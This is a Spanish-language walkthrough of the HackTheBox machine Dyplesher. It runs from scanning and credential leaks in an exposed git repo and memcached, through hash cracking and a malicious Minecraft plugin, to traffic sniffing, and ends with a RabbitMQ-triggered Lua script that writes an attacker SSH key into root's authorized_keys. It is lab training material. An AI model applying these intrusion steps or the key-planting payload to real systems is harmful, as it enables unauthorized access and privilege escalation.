Dyplesher es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Dyplesher 10.10.10.190 a /etc/hosts como dyplesher.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
# Nmap 7.80 scan initiated Wed Jun 10 16:14:26 2020 as: nmap -sV -Pn -p- -oA nmap/dyplesher 10.10.10.190 Nmap scan report for 10.10.10.190 Host is up (0.049s latency). Not shown: 65525 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3000/tcp open ppp? 4369/tcp open epmd Erlang Port Mapper Daemon 5672/tcp open amqp RabbitMQ 3.7.8 (0-9) 11211/tcp open memcache? 25562/tcp open unknown 25565/tcp open minecraft? 25572/tcp closed unknown 25672/tcp open unknown 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port3000-TCP:V=7.80%I=7%D=6/10%Time=5EE0EB35%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x SF:20Request")%r(GetRequest,2063,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\ SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/; SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=9f05398d5bb0521f;\ SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=SfGphl419ta4MheVZ7u95tYw SF:wvA6MTU5MTc5ODU5NTQyMjIzODU0NA%3D%3D;\x20Path=/;\x20Expires=Thu,\x2011\ SF:x20Jun\x202020\x2014:16:35\x20GMT;\x20HttpOnly\r\nDate:\x20Wed,\x2010\x SF:20Jun\x202020\x2014:16:35\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<he SF:ad\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20cont SF:ent=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA SF:-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\ SF:"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20conte SF:nt=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20 SF:/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hos SF:ted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-refer SF:rer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"SfGphl419ta4MheVZ7u SF:95tYwwvA6MTU5MTc5ODU5NTQyMjIzODU0NA==\"\x20/>\n\t<meta\x20name=\"_subur SF:l\"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta\x20proper")%r(Help,67, SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20 SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r( SF:HTTPOptions,189F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20 SF:text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x2 SF:0Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=27f41f532c203f72;\x20 SF:Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=ibM_X1WMGUoPncdvFurCgBFvUms SF:6MTU5MTc5ODYwMDczNDE3OTIwOA%3D%3D;\x20Path=/;\x20Expires=Thu,\x2011\x20 SF:Jun\x202020\x2014:16:40\x20GMT;\x20HttpOnly\r\nDate:\x20Wed,\x2010\x20J SF:un\x202020\x2014:16:40\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head\ SF:x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20content SF:=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA-Co SF:mpatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\"\x SF:20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20content= SF:\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20/>\ SF:n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hosted SF:,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-referrer SF:\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"ibM_X1WMGUoPncdvFurCgB SF:FvUms6MTU5MTc5ODYwMDczNDE3OTIwOA==\"\x20/>\n\t<meta\x20name=\"_suburl\" SF:\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port25565-TCP:V=7.80%I=7%D=6/10%Time=5EE0EB58%P=x86_64-pc-linux-gnu%r(D SF:NSVersionBindReqTCP,2A,"\)\0'{\"text\":\"Unsupported\x20protocol\x20ver SF:sion\"}")%r(DNSStatusRequestTCP,2A,"\)\0'{\"text\":\"Unsupported\x20pro SF:tocol\x20version\"}")%r(SSLSessionReq,2A,"\)\0'{\"text\":\"Unsupported\ SF:x20protocol\x20version\"}")%r(TLSSessionReq,2A,"\)\0'{\"text\":\"Unsupp SF:orted\x20protocol\x20version\"}")%r(LPDString,2A,"\)\0'{\"text\":\"Unsu SF:pported\x20protocol\x20version\"}")%r(LDAPSearchReq,2A,"\)\0'{\"text\": SF:\"Unsupported\x20protocol\x20version\"}")%r(SIPOptions,2A,"\)\0'{\"text SF:\":\"Unsupported\x20protocol\x20version\"}")%r(NotesRPC,74,"s\0q{\"text SF:\":\"Unsupported\x20protocol\x20version\x200,\x20please\x20use\x20one\x SF:20of\x20these\x20versions:\n1\.8\.x,\x201\.9\.x,\x201\.10\.x,\x201\.11\ SF:.x,\x201\.12\.x\"}")%r(oracle-tns,2A,"\)\0'{\"text\":\"Unsupported\x20p SF:rotocol\x20version\"}")%r(ms-sql-s,2A,"\)\0'{\"text\":\"Unsupported\x20 SF:protocol\x20version\"}")%r(afp,2A,"\)\0'{\"text\":\"Unsupported\x20prot SF:ocol\x20version\"}"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jun 10 16:19:06 2020 -- 1 IP address (1 host up) scanned in 280.09 seconds |
Una vez realizado el primer escaneo comenzamos la enumeración.
Enumeración
Empezaremos revisando el puerto 80, y al acceder a través del navegador obtenemos el siguiente portal:
Accedemos a un portal simple donde observamos que indica otra dirección, test.dyplesher.htb, así que añadimos la misma al fichero /etc/hosts y procedemos a revisarla:
Revisamos el código fuente de las páginas encontradas pero no vemos nada interesante así que procedemos a enumerar en busca de directorios con gobuster en ambas.
Encontramos lo siguiente en dyplesher.htb:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://dyplesher.htb [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/06/10 16:21:47 Starting gobuster =============================================================== /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /cgi-bin/ (Status: 301) /css (Status: 301) /favicon.ico (Status: 200) /fonts (Status: 301) /home (Status: 302) /img (Status: 301) /index.php (Status: 200) /js (Status: 301) /login (Status: 200) /register (Status: 302) /robots.txt (Status: 200) /server-status (Status: 403) /staff (Status: 200) =============================================================== 2020/06/10 16:23:02 Finished =============================================================== |
Vemos varias cosas interesantes, pero las veremos más adelante, realizamos las mismas enumeraciones en test.dyplesher.htb y encontramos lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://test.dyplesher.htb [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/06/10 16:22:10 Starting gobuster =============================================================== /.hta (Status: 403) /.git/HEAD (Status: 200) /.htpasswd (Status: 403) /.htaccess (Status: 403) /index.php (Status: 200) /server-status (Status: 403) =============================================================== 2020/06/10 16:22:50 Finished =============================================================== |
Encontramos un directorio .git, lo que nos indica que existe un repositorio en el portal, así que utilizaremos git-dumper para extraer el contenido del mismo:
1 |
$ git-dumper.py http://test.dyplesher.htb/.git test.dyplesher/ |
Revisamos el log del mismo, observando que sólo se ha hecho el commit inicial:
1 2 3 4 5 6 |
$ git log commit b1fe9eddcdf073dc45bb406d47cde1704f222388 (HEAD -> master, origin/master) Author: felamos <felamos@dyplesher.htb> Date: Thu Apr 23 14:17:19 2020 +0000 first commit |
Comprobamos el fichero index.php cuyo código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<HTML> <BODY> <h1>Add key and value to memcache<h1> <FORM METHOD="GET" NAME="test" ACTION=""> <INPUT TYPE="text" NAME="add"> <INPUT TYPE="text" NAME="val"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <?php if($_GET['add'] != $_GET['val']){ $m = new Memcached(); $m->setOption(Memcached::OPT_BINARY_PROTOCOL, true); $m->setSaslAuthData("felamos", "zxcvbnm"); $m->addServer('127.0.0.1', 11211); $m->add($_GET['add'], $_GET['val']); echo "Done!"; } else { echo "its equal"; } ?> </pre> </BODY> </HTML> |
Y encontramos en el mismo unas credenciales de conexión a memcache, que ya vimos anteriormente que teníamos abierto el puerto 11211:
1 |
$m->setSaslAuthData("felamos", "zxcvbnm"); |
Para la conexión, no valdrá con un simple telnet como en otras ocasiones, en este caso necesitaremos una cli para conectarnos al servicio. Utilizaremos en nuestro caso, memcache-cli para acceder con las credenciales obtenidas:
1 2 3 4 5 6 7 8 9 10 11 12 |
memcached-cli felamos:zxcvbnm@dyplesher.htb:11211 dyplesher.htb:11211> get username MinatoTW felamos yuntao dyplesher.htb:11211> get password $2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa $2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK $2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS dyplesher.htb:11211> |
Y encontramos 3 nombres de usuarios y 3 posibles hashes, que posiblemente pertenezca a alguno de los usuarios, así que utilizaremos john para intentar descifrar las mismas.
Después de un rato conseguimos descifrar sólo uno de los hashes obtenidos:
1 2 3 4 |
$ john --show memcached.hash ?:mommy1 1 password hash cracked, 1 left |
Probamos en la pantalla de login que vimos anteriormente en la enumeración con gobuster pero parece que no son las correctas, así que seguimos investigando y descubrimos otra página web en el puerto 3000:
Y encontramos una web con Gogs, un servicio de alojamiento de repositorios git en el que observamos que existen los mismos usuarios que vimos anteriormente con memcache.
Probaremos el acceso en la pantalla de login y conseguimos acceder con las siguientes credenciales:
1 |
felamos:mommy1 |
Comprobamos todo lo existente en la cuenta del usuario y descubrimos dos repositorios privados existentes en la misma:
Así que con las mismas credenciales nos clonamos los mismos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$git clone http://dyplesher.htb:3000/felamos/gitlab.git Clonando en 'gitlab'... Username for 'http://dyplesher.htb:3000': felamos Password for 'http://felamos@dyplesher.htb:3000': remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Total 3 (delta 0), reused 0 (delta 0) Desempaquetando objetos: 100% (3/3), 227 bytes | 56.00 KiB/s, listo. $ git clonehttp://dyplesher.htb:3000/felamos/memcached.git git: 'clonehttp://dyplesher.htb:3000/felamos/memcached.git'no es un comando de git. Mira 'git --help'. root@kali:~/htb/machines/todo/dyplesher.htb/enum/git# git clone http://dyplesher.htb:3000/felamos/memcached.git Clonando en 'memcached'... Username for 'http://dyplesher.htb:3000': felamos Password for 'http://felamos@dyplesher.htb:3000': remote: Enumerating objects: 4, done. remote: Counting objects: 100% (4/4), done. remote: Compressing objects: 100% (3/3), done. remote: Total 4 (delta 0), reused 0 (delta 0) Desempaquetando objetos: 100% (4/4), 559 bytes | 37.00 KiB/s, listo. |
En dichos repositorios no encontramos nada interesante así que volvemos al portal de gogs y encontramos una release en el repositorio de gitlab y un fichero repo.zip que descargamos y cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 |
$ ls -la total 24 drwxrwx--- 1 root vboxsf 4096 sep 7 2019 . drwxrwx--- 1 root vboxsf 4096 sep 7 2019 .. drwxrwx--- 1 root vboxsf 4096 sep 7 2019 4b drwxrwx--- 1 root vboxsf 4096 may 24 08:36 4e drwxrwx--- 1 root vboxsf 4096 sep 7 2019 6b drwxrwx--- 1 root vboxsf 4096 sep 7 2019 d4 |
Además de esto encontramos varios repositorios más dentro de dichos directorios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ tree . ├── 4b │ └── 22 │ └── 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle ├── 4e │ └── 07 │ └── 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle ├── 6b │ └── 86 │ └── 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle └── d4 └── 73 └── d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle 8 directories, 4 files |
Así que copiaremos los ficheros .bundle en un nuevo directorio y procederemos a clonar los 4 repositorios:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ for i in $(ls -1);do git clone $i;done Clonando en '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a'... Recibiendo objetos: 100% (39/39), 10.46 KiB | 2.62 MiB/s, listo. Resolviendo deltas: 100% (12/12), listo. Clonando en '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce'... Recibiendo objetos: 100% (51/51), 20.94 MiB | 12.17 MiB/s, listo. Resolviendo deltas: 100% (5/5), listo. Clonando en '6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b'... Recibiendo objetos: 100% (85/85), 30.69 KiB | 1.92 MiB/s, listo. Resolviendo deltas: 100% (40/40), listo. Clonando en 'd4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35'... Recibiendo objetos: 100% (21/21), 16.98 KiB | 1.89 MiB/s, listo. Resolviendo deltas: 100% (9/9), listo. |
Y en este caso si que encontramos varios ficheros interesantes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
$ tree . ├── 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a │ ├── LICENSE │ ├── README.md │ └── src │ └── VoteListener.py ├── 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce │ ├── banned-ips.json │ ├── banned-players.json │ ├── bukkit.yml │ ├── commands.yml │ ├── craftbukkit-1.8.jar │ ├── eula.txt │ ├── help.yml │ ├── ops.json │ ├── permissions.yml │ ├── plugins │ │ ├── LoginSecurity │ │ │ ├── authList │ │ │ ├── config.yml │ │ │ └── users.db │ │ ├── LoginSecurity.jar │ │ └── PluginMetrics │ │ └── config.yml │ ├── python │ │ └── pythonMqtt.py │ ├── README.md │ ├── sc-mqtt.jar │ ├── server.properties │ ├── spigot-1.8.jar │ ├── start.command │ ├── usercache.json │ ├── whitelist.json │ ├── world │ │ ├── data │ │ │ ├── villages.dat │ │ │ └── villages_end.dat │ │ ├── level.dat │ │ ├── level.dat_mcr │ │ ├── level.dat_old │ │ ├── playerdata │ │ │ └── 18fb40a5-c8d3-4f24-9bb8-a689914fcac3.dat │ │ ├── region │ │ │ ├── r.0.0.mca │ │ │ └── r.-1.0.mca │ │ ├── session.lock │ │ └── uid.dat │ └── world_the_end │ ├── DIM1 │ │ └── region │ │ ├── r.0.0.mca │ │ ├── r.0.-1.mca │ │ ├── r.-1.0.mca │ │ └── r.-1.-1.mca │ ├── level.dat │ ├── level.dat_old │ ├── session.lock │ └── uid.dat ├── 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b │ ├── LICENSE │ ├── phpbash.min.php │ ├── phpbash.php │ └── README.md └── d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35 ├── LICENSE.txt ├── nightminer.py └── README.md 16 directories, 50 files |
Entre todos los ficheros encontrados, destacamos uno de ellos, el fichero users.db, que se trata de una base de datos sqlite:
1 2 |
$ file users.db users.db: SQLite 3.x database, last written using SQLite version 3027002 |
Así que importaremos la misma en nuestro sqlite3 para ver su contenido:
1 2 3 4 5 6 7 8 9 10 11 |
sqlite3 SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite> .open users.db sqlite> .tables users sqlite> select * from users; 18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81 sqlite> |
Y encontramos otras credenciales, cifradas también, pero nada que no podamos hacer con John:
1 2 3 4 5 6 7 8 9 10 |
$ john sqlite.hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status alexis1 (?) 1g 0:00:00:29 DONE (2020-06-10 17:04) 0.03404g/s 54.54p/s 54.54c/s 54.54C/s alexis1..babyboy1 Use the "--show" option to display all of the cracked passwords reliably Session completed |
Y bingo, otra password, y ahora sí, ahora volvamos a la pantalla de login de la primera web que vimos.
Como necesitamos acceder con un email, probaremos con los diferentes usuarios encontrados seguidos del dominio del portal y logramos acceder al mismo con el usuario felamos, observando el siguiente dashboard:
Parece que vamos avanzando, pero aún nos queda mucho camino por delante.
En este caso, después de revisar las opciones del portal, la única posibilidad factible es la creación de un plugin de java, que pueda ser leído por PlugMan, ya que es el software de gestión de plugins que utiliza el portal.
Después de revisar en google, encontramos un portal donde explica como hacer dichos plugins, en nuestro caso, con el IDE Intellij Idea.
https://www.spigotmc.org/wiki/creating-a-plugin-with-maven-using-intellij-idea/
Realizamos varias comprobaciones para descubrir las rutas existentes en la máquina y creamos nuestro plugin para introducir una clave ssh generada previamente en el fichero authorized_keys del usuario MinatoTW.
Así que subimos nuestro plugin al portal:
Cargamos el mismo desde la sección correspondiente:
Y accedemos a la sección de Console para ver si se ha cargado correctamente:
Y vemos como claramente, se ha cargado nuestro plugin “byteshell” y ha añadido nuestra clave ssh en el fichero authorized_keys del usuario, así que utilizaremos la misma para acceder por ssh al servidor.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh -i dyplesher.pem MinatoTW@10.10.10.190 Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 2.0 57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Last login: Wed May 20 13:44:56 2020 from 10.10.14.4 MinatoTW@dyplesher:~$ id uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark) MinatoTW@dyplesher:~$ whoami MinatoTW |
Parece que todavía no podemos conseguir la flag de user así que nos toca seguir investigando.
Revisando los grupos del usuario, este pertenece al grupo wireshark, así que es un posibilidad la capacidad de captura el tráfico en la máquina.
Observamos las interfaces existentes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
MinatoTW@dyplesher:/$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:50:56:b9:93:c7 brd ff:ff:ff:ff:ff:ff inet 10.10.10.190/24 brd 10.10.10.255 scope global ens33 valid_lft forever preferred_lft forever inet6 dead:beef::250:56ff:feb9:93c7/64 scope global dynamic mngtmpaddr noprefixroute valid_lft 85935sec preferred_lft 13935sec inet6 fe80::250:56ff:feb9:93c7/64 scope link valid_lft forever preferred_lft forever 3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ee:e0:70:f5 brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever inet6 fe80::42:eeff:fee0:70f5/64 scope link valid_lft forever preferred_lft forever 5: veth1b59b69@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default link/ether 02:ae:00:90:b0:31 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::ae:ff:fe90:b031/64 scope link valid_lft forever preferred_lft forever |
Y lanzamos la utilidad tshark para capturar el tráfico:
1 |
$ tshark -i interface -F format -w outputfile |
Para no darlo todo hecho, no pongo la interfaz exacta, os dejo adivinar cual será la correcta.
Dejamos la herramienta capturando tráfico durante unos 15 minutos y analizamos el fichero pcap resultante, donde encontramos las password para los usuarios ya vistos anteriormente:
1 2 3 |
felamos: XXXXXXXXX MinatoTW: XXXXXXXXX yuntao: XXXXXXXXX |
Obteniendo la flag de user
Con las claves descubiertas, accedemos con el usuario felamos:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
MinatoTW@dyplesher:~$ su - felamos Password: felamos@dyplesher:~$ whoami felamos felamos@dyplesher:~$ id uid=1000(felamos) gid=1000(felamos) groups=1000(felamos) felamos@dyplesher:~$ ls -l total 16 drwxrwxr-x 2 felamos felamos 4096 Apr 23 12:14 cache drwxr-xr-x 3 felamos felamos 4096 Apr 23 10:09 snap -rw-rw-r-- 1 felamos felamos 33 Jun 11 15:59 user.txt drwxrwxr-x 2 felamos felamos 4096 Apr 23 17:37 yuntao felamos@dyplesher:~$ |
Y conseguimos la flag de user.
Escalado de privilegios
Esta máquina está siendo dura, pero ya tenemos más de la mitad hecha, ya sólo nos queda el final de la misma, así que vamos a ello.
Revisamos la home del usuario felamos y encontramos un fichero interesante:
1 2 3 4 5 6 7 8 |
felamos@dyplesher:~$ cd yuntao felamos@dyplesher:~/yuntao$ ls -l total 4 -rw-rw-r-- 1 felamos felamos 256 Apr 23 17:37 send.sh felamos@dyplesher:~/yuntao$ cat send.sh #!/bin/bash echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' > /dev/pts/{} |
En este caso nos indica que debemos publicar una serie de plugins a través de las colas, lo que nos da varias pistas para poder continuar.
Revisamos el servicio de queues existente y se trata de rabbitmq:
1 2 3 4 5 6 7 |
MinatoTW@dyplesher:~$ ps -aux|grep rabbitmq rabbitmq 917 0.0 0.0 2600 800 ? Ss 15:57 0:00 /bin/sh /usr/sbin/rabbitmq-server rabbitmq 1067 0.2 1.7 2154368 69616 ? Sl 15:57 0:49 /usr/lib/erlang/erts-10.4.4/bin/beam.smp -W w -A 64 -MBas ageffcbf -MHas ageffcbf -MBlmbcs 512 -MHlmbcs 512 -MMmcs 30 -P 1048576 -t 5000000 -stbt db -zdbbl 128000 -K true -- -root /usr/lib/erlang -progname erl -- -home /var/lib/rabbitmq -- -pa /usr/lib/rabbitmq/lib/rabbitmq_server-3.7.8/ebin -noshell -noinput -s rabbit boot -sname rabbit@dyplesher -boot start_sasl -kernel inet_default_connect_options [{nodelay,true}] -sasl errlog_type error -sasl sasl_error_logger false -rabbit lager_log_root "/var/log/rabbitmq" -rabbit lager_default_file "/var/log/rabbitmq/rabbit@dyplesher.log" -rabbit lager_upgrade_file "/var/log/rabbitmq/rabbit@dyplesher_upgrade.log" -rabbit enabled_plugins_file "/etc/rabbitmq/enabled_plugins" -rabbit plugins_dir "/usr/lib/rabbitmq/plugins:/usr/lib/rabbitmq/lib/rabbitmq_server-3.7.8/plugins" -rabbit plugins_expand_dir "/var/lib/rabbitmq/mnesia/rabbit@dyplesher-plugins-expand" -os_mon start_cpu_sup false -os_mon start_disksup false -os_mon start_memsup false -mnesia dir "/var/lib/rabbitmq/mnesia/rabbit@dyplesher" -kernel inet_dist_listen_min 25672 -kernel inet_dist_listen_max 25672 rabbitmq 2057 0.0 0.0 2484 1532 ? Ss 15:58 0:00 erl_child_setup 65536 rabbitmq 2081 0.0 0.0 3872 1116 ? Ss 15:58 0:00 inet_gethost 4 rabbitmq 2082 0.0 0.0 3952 1728 ? S 15:58 0:00 inet_gethost 4 MinatoTW 21995 0.0 0.0 6368 2504 pts/3 S+ 21:04 0:00 grep --color=auto rabbitmq |
Y también observamos en los procesos que existe el lenguaje de scripting lua instalado en la máquina:
1 2 3 4 5 6 7 8 |
felamos@dyplesher:~$ ps -a PID TTY TIME CMD 27120 pts/3 00:00:00 su 27121 pts/3 00:00:00 bash 27255 pts/4 00:00:00 su 27256 pts/4 00:00:00 bash 27347 pts/3 00:00:00 lua 27348 pts/4 00:00:00 ps |
Así que utilizaremos estos servicios para poder continuar el escalado.
Para nuestro caso utilizaremos un plugin de python llamado pika. Pika es un Advanced Message Queuing Protocol (AMQP) que utiliza el protocolo rpc, y mediante el cual un cliente puede enviar solicitudes al sevidor y viceversa. Además implemente bucles io en cada uno de sus adaptadores de conexión asíncrona.
Así que revisaremos la documentación para realizar la conexión con pika y generaremos nuestro exploit.
https://pika.readthedocs.io/en/stable/modules/parameters.html
Además de esto, generaremos un script en lua, a través del cual añadiremos nuestra clave ssh en el fichero authorized_keys de root y cuyo código es el siguiente:
1 2 3 |
local file = io.open("/root/.ssh/authorized_keys", "w") file:write("ssh-rsa AAAAB3Nza.... root@kali") file:close() |
En el caso del exploit de python, no voy a incluir el mismo en el blog, pero si tienen alguna duda de como hacerlo, al final de este post tienen mi perfil y les resolveré cualquier duda que les surja.
Subiremos el script en lua a la máquina y levantaremos un servidor en python que utilizaremos para ejecutar el script como root al cargar el mensaje en la cola.
Ejecutaremos nuestro script en python:
1 |
$ python exploit.py |
Y a los pocos segundos observamos como se descarga nuestro script en la máquina:
1 2 3 |
MinatoTW@dyplesher:/tmp$ python3 -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... 127.0.0.1 - - [12/Jun/2020 17:34:14] "GET /12345.lua HTTP/1.0" 200 - |
Por lo que hemos conseguido que se añada nuestra clave ssh a root.
Obteniendo la flag de root
Con la clave ssh añadia, sólo nos queda loguearnos por ssh como root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
$ ssh -i dyplesher.pem root@10.10.10.190 Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 12 Jun 2020 05:35:03 PM UTC System load: 0.08 Processes: 245 Usage of /: 6.7% of 97.93GB Users logged in: 1 Memory usage: 39% IP address for ens33: 10.10.10.190 Swap usage: 0% IP address for docker0: 172.17.0.1 57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings Last login: Sun May 24 03:33:34 2020 root@dyplesher:~# whoami root root@dyplesher:~# id uid=0(root) gid=0(root) groups=0(root) root@dyplesher:~# ll total 72 drwx------ 11 root root 4096 May 20 12:23 ./ drwxr-xr-x 20 root root 4096 Apr 23 07:07 ../ lrwxrwxrwx 1 root root 9 Apr 23 15:11 .bash_history -> /dev/null -rw-r--r-- 1 root root 3106 Aug 27 2019 .bashrc drwx------ 2 root root 4096 